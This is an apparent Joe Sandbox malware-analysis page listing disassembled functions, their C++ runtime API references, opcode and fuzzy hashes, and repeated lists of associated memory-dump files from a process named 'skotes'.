Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Context$Base::Internal$ChoreWork$AssociatedCancelCleanupCompletionCreateCurrentDispatchedExecuteExecutedFoundInlineListThreadWait
String ID:
API String ID: 2885714658-0
Opcode ID: 348be6ac8345d7aad7831bbfdca6f05c0b24e885575bcd1fb6ae3b38646a2699
Instruction ID: 611bfe3c0cdc2f420d9a3039a1cb53361cbf748ac004f5a1dd422f07b6789f6f
Opcode Fuzzy Hash: 348be6ac8345d7aad7831bbfdca6f05c0b24e885575bcd1fb6ae3b38646a2699
Instruction Fuzzy Hash: 4541AB30A04244DACF24EBA0845AFED7BA16F11304F1840BDE8466B2C3DB7C9E09CB62

Function 007CE7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 007CE7D7

Part of subcall function 007CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007CE577
Part of subcall function 007CE544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 007CE599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 007CE854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 007CE860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 007CE86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 007CE879
Concurrency::location::_Assign.LIBCMT ref: 007CE8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 007CE8B5

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 7d944192076638a658b2784bc713ffa535b5ea16b605332b7b793ff56440873a
Instruction ID: fdef9cbb90f798cee360fa3be3dd5bfc70f097f8c8e81fc19eb9f3bf986d9b9d
Opcode Fuzzy Hash: 7d944192076638a658b2784bc713ffa535b5ea16b605332b7b793ff56440873a
Instruction Fuzzy Hash: A241FA75A00205DFCB05DF64C495BADB7B5FF48310F1480ADDD459B382DB38A941CBA1

Function 007B6E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 007B6ED1
std::_Rethrow_future_exception.LIBCPMT ref: 007B6F22
std::_Rethrow_future_exception.LIBCPMT ref: 007B6F32
__Mtx_unlock.LIBCPMT ref: 007B6FD5
__Mtx_unlock.LIBCPMT ref: 007B70DB
__Mtx_unlock.LIBCPMT ref: 007B7116

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 0c7972b165305f05d732d009dbaf2b137c6037f8e645be87573adc36b429792f
Instruction ID: 0b20fdf2bd80efc8fbf77df37fe1d4952b04a3a115c7ff3d86a772f8ee210c11
Opcode Fuzzy Hash: 0c7972b165305f05d732d009dbaf2b137c6037f8e645be87573adc36b429792f
Instruction Fuzzy Hash: F8C1F171904308DFDF25DFA4C849BEABBF4AF85310F00852EE91697691EB79A904CB61

Function 007C44DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 007C4538
ListArray.LIBCONCRT ref: 007C456C
Hash.LIBCMT ref: 007C45D5
Hash.LIBCMT ref: 007C45E5

Part of subcall function 007C9C41: std::bad_exception::bad_exception.LIBCMT ref: 007C9C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 007C474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 007C47A4

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 1727ace400d3e98fcbdad9c619fe9209d4d653009e90015b444b92ebc2f37c82
Instruction ID: bef2f62060e0fd1283b7b33c393042dea2242dcfb9ae48a733f8fdcfa644fc78
Opcode Fuzzy Hash: 1727ace400d3e98fcbdad9c619fe9209d4d653009e90015b444b92ebc2f37c82
Instruction Fuzzy Hash: A68154B0A11B52FAD758DF74C859BD9FBA8BF09704F10421EF52897281DBB8A520CBD1

Function 007BECE6 Relevance: 9.1, APIs: 6, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 007BECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 007BED17

Part of subcall function 007BF3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 007BF3FA

__alloca_probe_16.LIBCMT ref: 007BED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 007BED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 007BEDC6
__freea.LIBCMT ref: 007BEDEC

Memory Dump Source

Source File: 00000006.00000002.3542500693.00000000007A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007A0000, based on PE: true

Associated: 00000006.00000002.3540934783.00000000007A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3542500693.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543645819.0000000000809000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3543849521.000000000080B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544147667.0000000000815000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3544884051.0000000000816000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3545529517.0000000000817000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3548987152.000000000096C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549203550.000000000096F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000989000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3549750910.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3550871572.0000000000999000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3551681102.000000000099B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3552990004.000000000099D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554243018.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3554866861.00000000009A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555136246.00000000009AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555342528.00000000009AB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555530882.00000000009AC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555754783.00000000009AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3555975217.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556155342.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556468550.00000000009BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3556671455.00000000009C6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557387645.00000000009D7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3557804597.00000000009EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558054687.00000000009F9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558438132.00000000009FA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558626776.0000000000A00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3558774157.0000000000A08000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559006189.0000000000A0A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559283374.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559403402.0000000000A19000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559518994.0000000000A22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559714420.0000000000A25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3559837415.0000000000A27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560183370.0000000000A28000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560481546.0000000000A29000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3560646110.0000000000A2C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561095556.0000000000A4D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A4E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3561305755.0000000000A75000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562119404.0000000000A8C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562225946.0000000000A8D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562437345.0000000000AA3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3562655966.0000000000AA4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563011884.0000000000AA5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3563591877.0000000000AA8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564331366.0000000000AAA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564461490.0000000000AB9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3564614300.0000000000ABA000.00000080.00000001.01000000.00000007.sdmpDownload File

